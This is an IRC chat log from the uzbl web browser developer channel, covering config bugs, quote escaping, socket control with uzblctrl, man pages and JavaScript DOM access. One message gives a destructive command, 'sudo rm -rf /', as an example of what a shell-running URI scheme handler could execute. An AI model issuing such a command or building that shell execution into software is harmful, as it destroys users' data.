18:00 < mason-l> You should be getting: "/tmp/uzbl_fifo_62914563_01  /tmp/uzbl_socket_62914563_01 ..." and so on.
18:01 < mason-l> Found the problem!
18:01 < mason-l> And what a problem it is!
18:02 < mason-l> Dieterbe, Hold off on that pull-request I've got another bug-fix coming your way.
18:02 < jpic> there is an extra space after set socket_dir              = /tmp
18:02 < jpic> in the example config of the experimental branch
18:02 < mason-l> jpic, Immediate fix: You've got an extra space in your socket_dir set
18:02 < mason-l> yeah!
18:02 < mlysgaard> Here's the hacked script: http://www.uzbl.org/wiki/configurable-jump
18:02 < mlysgaard> Tell me if it works for you guys =)
18:03 < jpic> and everything works now, thanks mason-l !
18:03 < mason-l> jpic, No problem :)
18:04 < mlysgaard> You can replase the standard follow_Numbers_Strings.js with this one
18:04 < mason-l> jpic, It was a problem on my end though, I forgot to strip paths loaded from the config file for trailing white-space characters.
18:05 < krayon> #ArchLinux <bombast> The genius of Uzbl is that it's not really genius at all, really.
18:07 < mlysgaard> Hehe, so true ;)
18:08 < krayon> Except he was being a dick and saying it sucked.
18:09 < krayon> But taken out of context it's praise almost :/
18:10 < jpic> so, uzbl_tabbed is the only instance manager? nothing delegating management to the wm?
18:11 < mason-l> jpic, Correct, its all self-contained using the gtk notebook widget
18:11 < jpic> thanks, good job
18:12 < jpic> i have to use it now, with all the assistance you offered hahaha
18:12 < holizz> It occurs to me after 20 minutes of segfaults that I have NO IDEA how to concatenate strings in C.
18:13 < jpic> it does all the hard work though, should be easy to get a dmenu working with it
18:13 < jpic> i just don't get how to detach a tab
18:13 < lwithers> holizz: quick and dirty way is to use snprintf()
18:14 < lwithers> holizz: snprintf(dest, size_of_dest, "%s/%s", src1, src2);
18:14 < jpic> mason-l: do you think all the pygtk stuff can be stripped off, and that instance management would still work?
18:15 < jpic> *and, would create new windows
18:15 < jpic> or is there anything critical?
18:15 < mason-l> jpic, How do you mean?
18:15 < mason-l> jpic, You should check out the original uzbl_tabbed.py :P
18:15 < lwithers> holizz: otherwise look up an implementation of strlcpy
18:16 < holizz> lwithers, I'm trying to take a load of printfs and make them write to a string instead STDOUT.
18:16 < lwithers> holizz: ok, each one adds on to the end of a buffer?
18:16 < holizz> lwithers, That's the plan.
18:16 < lwithers> let me write you a quick example
18:17 < holizz> Thank you.
18:17 < mason-l> jpic, If you checkout ed39cbe56f8923407604a1306a179529521ecd26 there is an origial copy of uzbl_tabbed.py in there
18:18 < mlysgaard> Does uzbl handle https? I'm having problems login into my webmail, wondering what's wrong. It's squirrelmail btw.
18:19 < holizz> mlysgaard, https is supported. What's the nature of your problem?
18:19 < mason-l> holizz, Dieterbe: After the last 20 minutes of screwing around trying to figure out why uzbl instances where dying when a space was accidentally left on the end of the socket_dir path it occurs to me that theres nothing wrong with uzbl_tabbed.py it turns out uzbl doesnt strip commands of trailing whitespace
18:19  * mason-l handballs upstream ;)
18:20 < mlysgaard> holizz: I enter my login credentials and press login on my squirrelmail account and i get the error: "You need to be logged in to view this page."
18:20 < krayon> jpic: Using a tabbed wm you can probably tell it to pre-tab by default, any uzbl instances started on the same desktop.
18:20 < mason-l> mlysgaard, Does it work if you enter your details again and go?
18:21 < jpic> i'm using dwm, i'm looking forward to use Monocle with a dmenu that lets me select a window
18:21 < mlysgaard> Well, I've tried many times, the same error each time, no matter how i submit the form.
18:21 < holizz> mlysgaard, What cookie_handler are you using?
18:22 < mlysgaard> holizz: I'm just using the standard configuration
18:23 < holizz> mlysgaard, Do you want to run it with --verbose and try logging in again, then pastie the output?
18:24 < lwithers> holizz: http://paste2.org/p/332097
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18:25 < holizz> lwithers, Thanks. I'll try that out in a minute.
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18:26 < jpic> is there a way to make uzbl fifo to have the pid in the file name?
18:27 < krayon> <sman> man uzbl... no manual entry for uzbl
18:27 < krayon> <faemir> sman, uzbl is used by people who already know every man page off by heart so don't need one
18:27 < krayon> :D
18:27 < krayon> I'll get to writing a man page unless someone else has already I guess
18:29 < krayon> Anyone know if anyone has started one?
18:29 < krayon> Anyone know of any cool DIY weapons involving lasers?
18:29 < krayon> Sorry that was OT :/
18:30 < holizz> krayon, I don't think so. If anybody has, it would be whoever packaged uzbl for Debian.
18:30 < krayon> holizz: Ah good call, those debian guys insist on such things don't they
18:30 < krayon> holizz: I'm assuming your talking about the man page and not the laser weapon ;)
18:30 < holizz> I think it's a requirement of the build process.
18:31 < mason-l> bct, Did you get my message from the other day?
18:31 < holizz> sudo aptitude install laser-tools
18:31 < mason-l> bct, About bug #73 (the escaping issue in set commands)
18:32 < bct> if i did i don't recall
18:32 < mason-l> bct, I've tried adding more backslashes and using the !dump command I can verify that its now setting correctly with the correct escaping however I am getting an "EOF when scanning double quoted string" or something like that.
18:33 < mason-l> And I can attest that I've not left any quotes open.
18:33 < mlysgaard> holizz: http://pastebin.ca/1500232
18:33 < mason-l> So theres still something amiss.
18:34 < uranther> krayon, we had a discussion about manpages before
18:34 < bct> hmm, ok.
18:34 < mason-l> <mason-l> bct: Ok, I've finally set my new_window command and I get this in the dump: set new_window = sh "echo \"new \\"$8\\"\" > \"/tmp/uzbltabbed_24065\""
18:34 < mason-l> <mason-l> However I also get this message ": -c: line 0: unexpected EOF while looking for matching `"' : -c: line 1: syntax error: unexpected end of file"
18:34 < mason-l> ^ That was the message.
18:34 < uranther> krayon, if you can automatically create manpages from existing documentation, then go for it
18:34 < bct> ok, gotcha.
18:35 < krayon> uranther: OK so only if it can be automated was the decision?
18:35 < mlysgaard> holizz: Hmm, i don't think i have cookies enabeled
18:35 < uranther> krayon, i think so. you can read the irc-log
18:35 < bct> mason-l, could you make up a list of commands and expected results for this?
18:35 < bct> and stick it in the bug. then i'll turn it into test cases and start hunting down the problems
18:35 < uranther> krayon, my feeling is, it would be nice to have manpages :) man {program} is pretty common for me, heh
18:36 < holizz> mlysgaard, You have cookies enabled. What version are you using? run uzbl -V
18:36 < uranther> bct, can you make a unit test for !reload?
18:37 < mlysgaard> holizz: It doesn't show what version i'm using
18:37 < jpic> is there an uzbl command to get the window name?
18:37 < krayon> uranther: Yeah it'd be good.  The problem is automating it.  It'd really be easier to go the other way around :/
18:38 < krayon> jpic: when you run a script it's given iirc
18:38 < uranther> you sure? that'd be a hefty manpage with all the documentation uzbl already has
18:38 < bct> uranther, i'm trying to think of good ways to doit.
18:38 < mlysgaard> holizz: But I'm using the latest uzbl-git 20090607-1 from AUR in Arch
18:38 < uranther> bct, cool :)
18:38 < bct> jpic: print @NAME
18:39 < jpic> thanks bct
18:39 < bct> the problem is that you need to test every variable
18:39 < krayon> uranther: well, you only need to have the readme and possibly faq in there or something like that I would think.
18:39 < uranther> oh ok, i see what you mean :P
18:39 < mason-l> bct, Ignore the above. I finally got it working, but its not pretty. This is the python code: 'set new_window = sh \"echo \\\\"new \\\\\\\\\\\\"$8\\\\\\\\\\\\"\\\\" > \\\\"/tmp/uzbltabbed_30716\\\\"\"'   to output:  set new_window = sh "echo \"new \\\"$8\\\"\" > \"/tmp/uzbltabbed_30716\""
18:39 < lwithers> split it out so there's a uzbl(1) and a uzbl.conf(5) or something
18:39 < jpic> mason-l: you're using too much quotes i think
18:39 < bct> ahaha, that's terrible
18:40 < jpic> hardens debugging
18:40 < mason-l> bct, Even though I didnt leave the quotes open I was missing one more \ on each escape.
18:40 < bct> mason-l, you could use r"" in python to cut down on some of those slashes
18:40 < bct> or triplequotes
18:40 < holizz> mlysgaard, If it doesn't show what version you're running, then you're running an old version.
18:41 < mlysgaard> Ah, ok
18:41 < jpic> imho, you don't need any quotes for > /tmp/uzbl....
18:41 < mlysgaard> Shoul i build the latest from git, the experimental one?
18:41 < jpic> about the echo: i think you don't need any neither
18:41 < mason-l> bct, Genius!
18:41 < holizz> mlysgaard, It doesn't matter, master was synced with experimental yesterday.
18:41 < mason-l> bct, But you can see why I was freaking out :P
18:42 < bct> yeah, no kidding
18:42 < mlysgaard> holizz: Ok, so i should just rebuild the package i've got installed?
18:42 < holizz> mlysgaard, Yep.
18:42 < mlysgaard> holizz: Thanks =)
18:42 < mason-l> Well its 00:42, work at 05:50, night guys.
18:42 < mlysgaard> holizz: Btw, tried the follow link script i hacked together?
18:43 < holizz> Today I was planning on working hard on looking for jobs... but I've already made five commits to uzbl... Gah.
18:43 < bct> mason-l, it would be really helpful if you added a couple of "this is what i put in : this is what i get out : this is what i want to get out" to that bug
18:43 < mason-l> holizz, Good news; I've got a uzbl_tabbed.py with working new_window catchers :)
18:43 < holizz> mlysgaard, Nope. Which one is that?
18:43 < mason-l> bct, I'll attend to it when I get home today.
18:43 < bct> oh, now that i look at the bug again you kind of have that
18:43 < mlysgaard> Posted it on the wiki minutes ago, called configurable-jump or something
18:43 < bct> ok, thanks
18:43 < holizz> mason-l, Nice work.
18:44 < Allive> hi,  are there any way to unbind key sequence on-the-fly ?
18:45 < mason-l> bct, I don't understand why set parsing is handled differently than bind parsing however it would be much easier if they both worked the same (*hint* *hint* :P)
18:45 < mason-l> Night.
18:46 < holizz> Allive, I don't think you can unbind or unset yet.
18:46 < bct> that's why i'm asking for examples, i don't know how they're different
18:46 < bct> night mason.
18:46 < bct> is anybody else getting " Failed to set text from markup due to error parsing markup: Error on line 1: Character '=' is not valid inside an entity name
18:46 < Allive> holizz: hm, bad...
18:47 < bct> on sites that use query parameters in the uri?
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18:49 < jpic> sorry i don't quite get how to get something back from the fifo, i started with for fifo in /tmp/uzbl_fifo_*; do echo print @TITLE > $fifo ; done and then tryed for fifo in /tmp/uzbl_fifo_*; do echo print @TITLE > $fifo | <cat, echo, less...> ; done but no matter what i do i can't get the output... and i haven't found anything relevant in man fifo
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18:50 < jpic> oops, i forgot there was a full example directory
18:50 < bct> fifos only go one direction
18:50 < mason-l> bct, This might help explain the differences http://gist.github.com/149961 its the closest I have to a bunch of example commands, this is how setting binds & sets differ in python.
18:50 < bct> you can write to it but you can't read
18:50 < bct> if you want bidirectional you have to use the socket or uzblctrl
18:50 < mason-l> holizz, Thats my working new_window code I just need to clean it up when I get home ^
18:50 < bct> aah, thanks mason-l
18:51  * mason-l is really gone this time. 
18:52 < jpic> bct: thanks for answering
18:53 < holizz> mason-l, It's like a party in your code and all the backslashes are invited.
18:54 < bct> so what you want is :for x in /tmp/uzbl_socket_*; do ./uzblctrl -s $x -c 'print @TITLE'; done
18:54 < krayon> haha 'set new_window = sh \"echo \\\\"new \\\\\\\\\\\\"$8\\\\\\\\\\\\"\\\\" > \\\\"/tmp/uzbltabbed_30716\\\\"\"'
18:54 < krayon> THAT should be the first FAQ entry
18:54 < krayon> :P
18:54 < bct> it's the answer to every question
18:55 < bct> "is there a god?"
18:55 < bct> BACKSLASH BACKSLASH BACKSLASH
18:55 < krayon> hahaha
18:55 < krayon> And the answer is forty... no wait, "\"
18:55 < holizz> \\\\\\\"is there a god?\\\\\\\"
18:55 < holizz> Fixed it for you.
18:57 < mlysgaard> holizz: the script for configurable link following is here: http://www.uzbl.org/wiki/configurable-jump
18:57 < holizz> mlysgaard, Cool. I'll look at that shortly.
18:58 < mlysgaard> holizz: There's guarateed bugs in it, since i just haced the existing script. But it's working for me right now, so I'm hoping you can include it after it's been cleaned =)
19:02 < krayon> haha I like it: "Afterall, who rests his fingers on the numpad."
19:03 < krayon> Accountants probably do actually.
19:03 < holizz> Somebody who uses uzbl on their mobile phone.
19:03 < mlysgaard> How did i configure the proxy again?
19:03 < krayon> holizz: Ah! Good call.
19:03 < Dieterbe> mlysgaard: look at the readme
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19:05 < holizz> My phone's getting old. I wonder which phones support GTK.
19:06 < Allive> has anybody problem with not working binding like "bind w  = scroll_vert -250" ?
19:06 < mlysgaard> holizz: Hehe, I've got one. The Neo Freerunner ;) Lying here on my desk
19:07 < holizz> mlysgaard, So is uzbl running on it?
19:07 < krayon> mlysgaard: I want one :( but with all the chopping and changing around maybe not now.
19:08 < krayon> Allive: Have you got anything else bound to something starting with that?
19:08 < krayon> Allive: Maybe (haven't tested) if you bind wx to something before just w, it'll override
19:08 < krayon> Allive: Speculation only, I don't know this for sure.
19:09 < Dieterbe> jpic> it's in /home/jpic/.config/uzbl/config and $XDG_DATA_HOME points to /home/jpic/.config (set in bashrc) <-- ugh. data != config
19:09 < mlysgaard> holizz: Well, uzbl could probably run on it, but it would be unusable, because it's a touchscreen phone :/
19:10 < holizz> mlysgaard, Write some scripts! uzbl_tabbed is a good example of how to plug uzbl into a GUI - just add some buttons to that.
19:10 < Allive> krayon: no i haven't anything bound to smthing starting with w, and for example scroll_msg.js doesn't work too
19:10 < krayon> Allive: Are you in insert mode or something?
19:11 < Dieterbe> mlysgaard> Here's the hacked script: http://www.uzbl.org/wiki/configurable-jump <-- suggestion: try to get this merged into the example scripts instead of wiki
19:11 < holizz> mlysgaard, I was thinking about making "uzblfox" based on uzbl_tabbed, but I didn't want to. But a phone would be a great reason to add GUI buttons.
19:12 < Allive> krayon: no, and it happens only in gmail and greader
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19:13 < krayon> Allive: Ah.  Perhaps they're screwing with your bindings :(
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19:13 < Dieterbe> jpic> i'm using dwm, i'm looking forward to use Monocle with a dmenu that lets me select a window <-- what's monocle?
19:13 < krayon> It's this stupid web2.0 shite
19:13 < Allive> = )
19:13 < krayon> They love to take over your interface
19:14 < mlysgaard> holizz: True! I really think that the interface shouldn't be a firefox lookalike though. Mobile devices with small screens needs a tottally different user interface, and I'm really bad at design and ui
19:14 < krayon> gmail has a light version or something I think, I'd use that
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19:14 < krayon> They also support retrieval of emails via pop so you could just suck them down to a local mailserver (that's what I do)
19:14 < krayon> then you can use whatever interface you like
19:15 < Allive> thx, i'll think about it..
19:15 < mlysgaard> Dieterbe: You think so! =)
19:15 < krayon> :P Allive try their light version first, see if that works.
19:15 < krayon> Allive: I'm not sure if it lacks any features or if it'll even stop stealing your keys.
19:16 < Dieterbe> krayon> uranther: OK so only if it can be automated was the decision? <--- yep, makes no sence to maintain 2 times the same documentation manually
19:16 < krayon> Has anyone got a way of stopping that atm (sites stealing keys via JS)?
19:16 < Dieterbe> mlysgaard: yes. there's not much point putting that on the wiki if the difference with the current script is very small
19:17 < Allive> light version works good
19:18 < Allive> but it's terrible :(
19:18 < jpic> Dieterbe: it's the tiling that makes all windows maximized
19:18 < jpic> *of the selected tag(s)
19:19 < jpic> instead of tabs, i'm trying to spawn a menu that would allow me selecting a window
19:19 < Dieterbe> how can you make all windows of a tag maximized? didn't you mean make the focused window maximized? you can't maximize more then window, right?
19:19 < mlysgaard> Dieterbe: Cool =) I just installed uzbl you see. Probably some bugs that needs to be ironed out though, i don't even know JavaScript :P
19:20 < jpic> Dieterbe: actually, they are all maximized, the non selected one are just behind
19:20 < Dieterbe> mlysgaard: hah. you should know how many of the people aren't good in the language they used to contribute to uzbl (that includes me. i suck at C )
19:21 < Dieterbe> jpic: yep, such a script is something i also would really like.  look at the file docs/multiple-instances-management
19:21 < krayon> Dieterbe: agreed re; documentation though sadly as i said it's probably easier to extract basic doco from man page than other way around :P
19:21 < mlysgaard> Hehe, diversiy is a good thing =) I'm more into Fp and Haskell
19:23 < Dieterbe> what's fp?
19:23 < krayon> jpic: How are you obtaining the window id's?
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19:24 < Dieterbe> krayon: manpage format doesn't look to hard. i think it's easily generateable. in the worst case, we write a 20-30 line script to do it ourself
19:24 < krayon> oh absolutely, I'm just concerned that it might screw up depending on the originating page :)
19:25 < krayon> Does the main website read from the code?
19:25 < krayon> because the faq and readme are in the source tree no?
19:26 < jpic> krayon: with uzblctrl?
19:26 < krayon> jpic: how are you getting a list of sockets?
19:27 < jpic> /tmp/uzbl_socket_* :)
19:28 < mlysgaard> Dieterbe: I meant Functional Programming. It's another way to program than the standard imperative one
19:28 < krayon> jpic: Then how do you know if it's the same "set" (ie different desktops, different displays (remote X) etc)?
19:28 < jpic> krayon: oh, i don't care
19:29 < jpic> all i want is a dmenu-like thingy to select an uzbl window
19:29 < krayon> jpic: I suppose you could, for each socket, retrieve their window id and then you could at least ascertain what display and desktop they are on
19:30 < Dieterbe> krayon: yep. all information on the site is rendered from the files in the uzbl source code
19:30 < krayon> Dieterbe: I see they're in wiki-ish format.  That's probably a good thing then - just write a wiki -> man parser
19:30 < jpic> krayon: not eventually, the point is to let it bring a window here as well... i just want the menu to give me a window
19:31 < bct> they're in markdown, there are a couple of markdown -> *roff translators around
19:31 < krayon> obviously there'd still be some constraints but at least you know no one's going to shuv crap in there as the wiki will need it to be sane :)
19:31 < jpic> wherever it comes from, i don't think i'll need dupe windows
19:31 < Dieterbe> krayon: it's markdown
19:31 < jpic> "shuv"?
19:31 < jpic> oops sorry that wasn't for me
19:31 < krayon> jpic: I meant shove :)
19:32 < krayon> Dieterbe: Ah OK.
19:32 < krayon> That's a standard of some kind is it?
19:33 < Dieterbe> yes
19:33 < holizz> I've just realised that my scheme_handler could lead to all sorts of fun things. One I just thought up is to create a handler for "sh" which runs the path with sh. Which could lead to all sorts of stupid tricks like sh:sudo+rm+-rf+/ or sh:killall+uzbl.
19:34 < bct> holizz, so what syntax are you using for setting a scheme handler?
19:35 < holizz> "set scheme_handler ="
19:35 < holizz> The scheme handler recieves the URI as $8.
19:35 < bct> ah, ok
19:35 < bct> i thought you had something like "set scheme sh = "
19:35 < holizz> So you could do anything, as long as the argument looks like a URI.
19:36 < bct> just curious because custom headers need a similar syntax
19:36 < Dieterbe> doing anything with anything, that's what uzbl is all about ^^
19:36 < bct> word :)
19:41 < mlysgaard> I guess it's a stupid question, but would it be possible to let the editable text areas on webpages be like an instance of vim?
19:43 < mlysgaard> Would that mean hacking webkit?
19:43 < scj> mlysgaard: easiest would probably be to use some js vi clone, like http://vian.sourceforge.net/
19:43 < krayon> mlysgaard: I think so :( I was planning on looking into it as I miss vimperator's ctrl-i or whatever it was
19:44  * barrucadu googles for a js emacs clone
19:44 < krayon> seems you can do a lot with js :/
19:44 < holizz> mlysgaard, It might be easier to do what that Firefox extension does and put the contents into a file and execute your editor.
19:45 < scj> krayon: javascript is actually a pretty neat language
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19:45 < mlysgaard> holizz: Yeah, maybe
19:46 < Dieterbe> uzblctrl -s /tmp/uzbl_socket_25165856 -c 'print @zoom_level' <-- always returns 0.000 for me :(
19:46 < krayon> Is js, can you get the contents of a text area and spawn a new process?
19:46 < scj> krayon: yes
19:47 < krayon> scj: Looks like I need to start looking at js to make uzbl > * now.
19:48 < krayon> It'll have that same annoying thing that firefox has then though, if you turn off scripts, your browser doesn't work properly :P
19:48 < mlysgaard> Is JS the only way?
19:49 < mlysgaard> No compiled language, machine code?
19:49 < scj> currently, the only way to get to the DOM is via js
19:50 < mlysgaard> Is that true for all browsers or just some?
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19:50 < krayon> scj: Does that run with same security or whatever as website js?  As in, can a website do anything a "plugin" script could do?
19:51 < scj> krayon: yeah, more or less. there is an Uzbl object that you can use but you should be aware of the potential security risks
19:52 < krayon> scj: That's my point I guess.  If websites can have that power using javascript then I'd want it disabled but it then means I can't do the fancier stuff :/
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19:52 < bct> mlysgaard: webkit has access to the dom in c/c++
19:53 < bct> it just doesn't expose it to us.
19:54 < scj> krayon: I haven't really been paying that close attention to uzbl the last two weeks or so, so I'm not sure. maybe dxdx has gotten something working
19:54 < Dieterbe> krayon: scj the JS stuff has been the same the last 2 weeks afaik
19:57 < mlysgaard> holizz: How would i go on to make the functionality you speaked of, saving a text box in a file and opening it in your fav. editor?
19:57 < holizz> mlysgaard, No idea.
19:58 < jpic> i got the window id from dmenu (http://nopaste.com/p/a8ywXGSPY), any idea of a cli way to focus a window, using its id?
19:59 < Dieterbe> jpic: wmctrl for netwm compliant WM's.  wmii isn't netwm compliant though, dwm probably also not
19:59 < jpic> thanks, i'm about to try
20:00 < jpic> are you using wmii?
20:02 < jpic> yes, that is a failure
20:02 < Dieterbe> i use wmii yes
20:03 < holizz> Oh... if scheme=='git': cd ~/code && git clone $URI
20:03 < jpic> then using the remote control in the script should be o
20:03 < jpic> k
20:03 < scj> mlysgaard: you'd do something like bind :edit = sh "echo %s | gvim -" @<document.forms[0].value>@
20:05 < mlysgaard> scj "bind :edit"? What does that do exactly?
20:05 < mlysgaard> scj: Oh, now i get it :S
20:06 < mlysgaard> scj: But what would the %s variable be bound to?
20:07 < scj> your right
20:07 < scj> that wouldn't work at all
20:08 < mlysgaard> We need some way to get the content (or parts of it) of the webpage out of uzbl
20:08 < scj> bind :edit = sh 'echo "$8" | gvim -' @<document.getElementsByTagName("textarea")[0].value>@
20:09 < mlysgaard> scj: Is that generic or would it only extract from textareas named "textarea" and what if there's more than one textarea?
20:09 < holizz> % ./uzbl git://github.com/holizz/uzbl.git
20:09 < holizz> Initialized empty Git repository in /home/holizz/src/uzbl/.git/
20:09 < holizz> :D
20:10 < mlysgaard> holizz: :D
20:10 < scj> mlysgaard: it would extract the first textarea
20:10 < krayon> scj: Is there a document.getFocusedElement :P
20:10 < mlysgaard> scj: Ah, get it. Is that @etc etc@ part JS?
20:11 < scj> krayon: no idea
20:11 < scj> mlysgaard: yes
20:11 < mlysgaard> Hm, seems like we're bound to the stupid js stuff
20:12 < scj> pretty much, since that is the only way we can access the DOM
20:13 < scj> personally, I'm fine with it
20:13 < mlysgaard> Or, well, I guess JS is not that bad, just me being grumpy
20:14 < krayon> Except that it means you have to have it enabled.  Can uzbl even disable js?
20:14 < scj> yes, set disable_scripts = 1
20:15 < krayon> If only you could tell uzbl that it can do stuff, but no a website :/
20:16 < krayon> Do all browsers allow such abilities with JS or just webkit/uzbl?
20:16 < scj> krayon: you could write a script that toggles the disable_script value when you run your own scripts
20:17 < krayon> If so, nasty people should really be using js to their advantage more.
20:17 < krayon> scj: True that's an option.
20:17 < krayon> scj: But it would mean anything with a handlery thing wouldn't run though I would think no?
20:17 < krayon> scj: Like the scroll updater thing seems to register some kind of js callback
20:18 < scj> no, those wouldn't work
20:19 < krayon> webkit should really allow more access from this side.  It seems a bit backwards to allow the js (which is traditionally the content) more access than the actual software wrapping the library :/
20:20 < scj> krayon: that is more of a workaround because the webkitgtk dom bindings aren't complete
20:21 < krayon> Not that I understand all this new fangled web stuff anyway, being the old timer I am (back in my day computers were made of stone).
20:21 < mlysgaard> Well, there's gotta be something we could do about it, if you ask me it's a major trublemaker for making browsers based on webkit better
20:22 < scj> step 1: fix webkitgtk dom bindings. step 2: write a language agonstic api for dom access
20:23 < mlysgaard> what's webkitgtk?
20:23 < scj> the webkit port uzbl is built against
20:25 < mlysgaard> See, so it has it's own dom bindings=
20:25 < mlysgaard> s/=/?/
20:27 < scj> no, it has none at the moment
20:28 < mlysgaard> What bindings are we using then?
20:28 < scj> we aren't using any, we are using webkits internal js interpreter to access the dom
20:29 < Dieterbe> krayon> scj: But it would mean anything with a handlery thing wouldn't run though I would think no? <--- set foo_handler = chain 'set disable_scripts = 0 ' 'your stuff here' 'set disable_scripts = 1'
20:29 < mlysgaard> Ah
20:29 < mlysgaard> I feel a bit stupid, but I've never had anything with web to do before
20:31 < scj> Dieterbe: he was talking about scripts using callback functions, like http://www.uzbl.org/wiki/scroll-percentage
20:31 < krayon> Dieterbe: I was referring to the javascript hooks like the scroll one.
20:32 < mlysgaard> scj: I'm trying the snippet you sent me, but i cant get the javascrip part to parse. My editor opens with the JS code inside it
20:33 < scj> mlysgaard: oh right, the variable expansion doesn't work everywhere yet. You'd have to do it in some more roundabout fashion, I'm afraid
20:34 < mlysgaard> scj: A hint?
20:36 < scj> you could use something like uzblctrl from a script
20:37 < scj> echo `uzblctrl -s $socket -c 'js @<document.getElementsByTagName("textarea")[0].value>@'` | gvim -
20:37 < scj> dunno if uzblctrl still only reads until it recieves a newline character though
20:37 < mlysgaard> scj: What is the uzbctrl tool?
20:38 < scj> mlysgaard: it's to send bidirectional commands to a running uzbl instance
20:38 < mlysgaard> Ah, nice =)
20:38 < holizz> mlysgaard, I've been using uzbl for a month or two and I've never needed to use it. I'm sure it's handy though.
20:39 < mlysgaard> So i could i theory send the edited data back?
20:39 < scj> mlysgaard: yes
20:39 < mlysgaard> That is soo cool
20:41 < scj> mlysgaard: there's a formfiller script that works that way http://github.com/Dieterbe/uzbl/blob/cf39d7e6df56ea40b182e909aa154ef43fa03c52/examples/data/uzbl/scripts/formfiller.sh
20:43 < mlysgaard> Ok
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20:43 < Dieterbe> scj: speaking of which.. didn't you have some updates?
20:43 < scj> Dieterbe: nope, I haven't actually done anything to it
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20:43 < scj> been too warm for coding
20:44 < holizz> Pull request sent. I wonder if any Debian people want to implement the apt-get: scheme. And somebody who uses a VoIP-to-telephone could make something to handle the tel: scheme. How cool would that be?
20:45 < holizz> <a href="tel:+44-012039239">Call me</a> -> click -> ring-ring
20:46 < krayon> holizz: Did you say the scroll thing worked for you because I just tried with the default config and it doesn't :(
20:46 < mlysgaard> scj: I can't get the uzblctrl program to output anything with the commands you mentioned
20:47 < krayon> mlysgaard: socket needs to be the path to the socket of the uzbl instance you're dealing with
20:47 < mlysgaard> krayon: Yeah, i've supplied that /tmp/uzbl-etc.
20:50 < holizz> krayon, Take a look at my config: http://github.com/holizz/dotfiles/tree/master/.config/uzbl
20:51 < scj> mlysgaard: it's because I am sloppy, you don't need the @< >@ in js statements
20:51 < mlysgaard> scj: I've tried without too..
20:52 < scj> mlysgaard: oh, no idea then. might be that I am just 2 weeks out of the loop
20:53 < mlysgaard> scj: Could be, I even tried to add a ';' at the end, no help in that either
20:53 < krayon> mlysgaard: works for me
20:53 < mlysgaard> scj: Got it! =)
20:54 < mlysgaard> scj: But it only reads the first line :S
20:54 < scj> mlysgaard: right, uzblctrl only reads until readline
20:54 < scj> you could use uzblctrl.pl that's on the wiki
20:55 < scj> or write your own socket interface in your language of choice
20:55 < mlysgaard> btw command was: echo `uzblctrl -s /tmp/uzbl_socket_27263008 -c 'js document.getElementsByTagName("textarea")[0].value;'`
20:56 < scj> mlysgaard: by the same token, you can set the value with 'js document.getElementsByTagName("textarea")[0].value = "blah blah"'
20:57 < mlysgaard> scj: Yeah, I thougth soo, this is genious. uzbl really lives up to it's expectation, being the UNIX of browsers :D
20:58 < Dieterbe> # For Web sites written by idiots
20:58 < Dieterbe> bind ff = sh 'nice firefox $6'
20:58 < Dieterbe> lol
20:58 < Dieterbe> holizz: ^^
20:59 < holizz> Did I write that comment? Hah.
20:59 < krayon> ooo, now we can have: bind ff = set uri = mailto:postmaster@$6 You idiot
20:59 < Dieterbe> lool
20:59 < krayon> well, you'd need a thing to extract the correct domain but still :)
21:01 < holizz> Now you're thinking with portals.
21:02 < krayon> holizz: OK so my copy/paste of the script or something else is wrong because your config I'm using and it STILL doesn't work :P
21:03 < krayon> holizz: I tried scrolling with the mousewheel and the nav keys without result :(
21:04 < holizz> krayon, Have you tried something like "XDG_CONFIG_HOME=src/dotfiles uzbl" so it'll work exactly as it does on mine?
21:09 < krayon> holizz: You know something crazy, i just did and it still doent' work.  what version of uzbl are you using?
21:11 < holizz> It's Dieterbe/experimental, plus a patch to allow me to use a LibSoup FileCookieJar.
21:12 < krayon> I'm using Dieterbe/experimental :(
21:12 < krayon> an alert in there works too so the js is running
21:12 < krayon> and verbose = 1 in your config turns it on so i'm def using your conf (and scroll.js)
21:12 < holizz> The FileCookieJar doesn't quite work with all login forms like cookies.py does, but it's damn fast.
21:13 < Dieterbe> blasphemy !
21:13 < holizz> Loading some pages takes forever if they have lots of images.
21:14 < krayon> It would seem that for me window.addEventListener doesn't work :(
21:14 < krayon> or something
21:15 < holizz> krayon, Maybe you're using an old version of WebKit?
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21:15 < krayon> libwebkit 1.1.6-1
21:16 < holizz> 1.1.10-1 here.
21:16 < krayon> holizz: If you're on arch, the newest is 1.1.10-2
21:17 < krayon> oh man... it requires updating a lot of stuff on that system :(
21:17 < bct> holizz, did you ever get the cookie jar-based cokie handling working?
21:17 < bct> as in, rather than just the override hack we're using now
21:17  * holizz upgrades
21:18 < krayon> oh man, this system too
21:19 < holizz> bct, Nope. I never did finish that. Our current approach works, so I didn't feel the need.
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21:21 < holizz> brb, checking if Arch fucked me over again.
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21:21 < krayon> hahaha
21:21 < krayon> Arch ftw
21:23  * krayon risks a pacman -Suy on his eee
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21:25 < holizz> Answer: yes. awesome doesn't work again.
21:25 < krayon> eeePC pacman -Suy: 334 packages @ 3.244gb :/
21:26 < barrucadu> I have cron running -Syyuw hourly, and I probably check if I need to install any updates that often too :p
21:26 < krayon> holizz: :P I thought Arch only USED to be like that.
21:26 < barrucadu> The disk usage caused by the Syyuw alerts me that I should check :)
21:26 < krayon> hahaha
21:26 < krayon> nice
21:27 < holizz> Upgrading WebKit required upgrading several things, including the problematic xcb-util, which is a requirement of something else... gah.
21:27 < krayon> Not long after I started using arch, they went through that whole kernel inity changes ... got a bad boot every pacman -Suy :P
21:28 < holizz> I could try upgrading awesome to 3.3.1-1, but I don't know if that'll work. And if it does, my rc.lua will be broken as that's 3.2. I installed wmii temporarily so I could use gajim and tell you all how much I hate Arch right now.
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21:29 < krayon> :( That is a pain to be sure.
21:29 < mlysgaard> anyone know how to get the socket name for the curren uzbl instance
21:29 < krayon> mlysgaard: you can probably ask it via the socket
21:30 < krayon> mlysgaard: Otherwise, atm you'll probably have to run uzbl via a wrapper in verbose mode.
21:30 < holizz> Public vote: find the old packages in /var/cache and revert, take a risk on awesome-3.3.1-1, change WM.
21:30 < jrick> holizz: xmonad :D
21:30 < barrucadu> StumpWM :)
21:30 < krayon> mlysgaard: Or you could find each one and query them to find the one you're looking for (if you know the one you're looking for that is).
21:31 < krayon> Well, the 2 last options aren't mutually exclusive
21:31 < jrick> holizz: and btw, I used to use awesome. the 3.2 -> 3.3 switch wasn't too bad. vimdiff is your friend
21:31 < krayon> So I'd go option 2 with a fallback to option 3
21:32 < krayon> Or, perhaps option 3 with a fallback to option 2 :P
21:32 < holizz> jrick: The problem isn't awesome, it's Arch which is giving me a broken awesome.
21:32 < jrick> ah
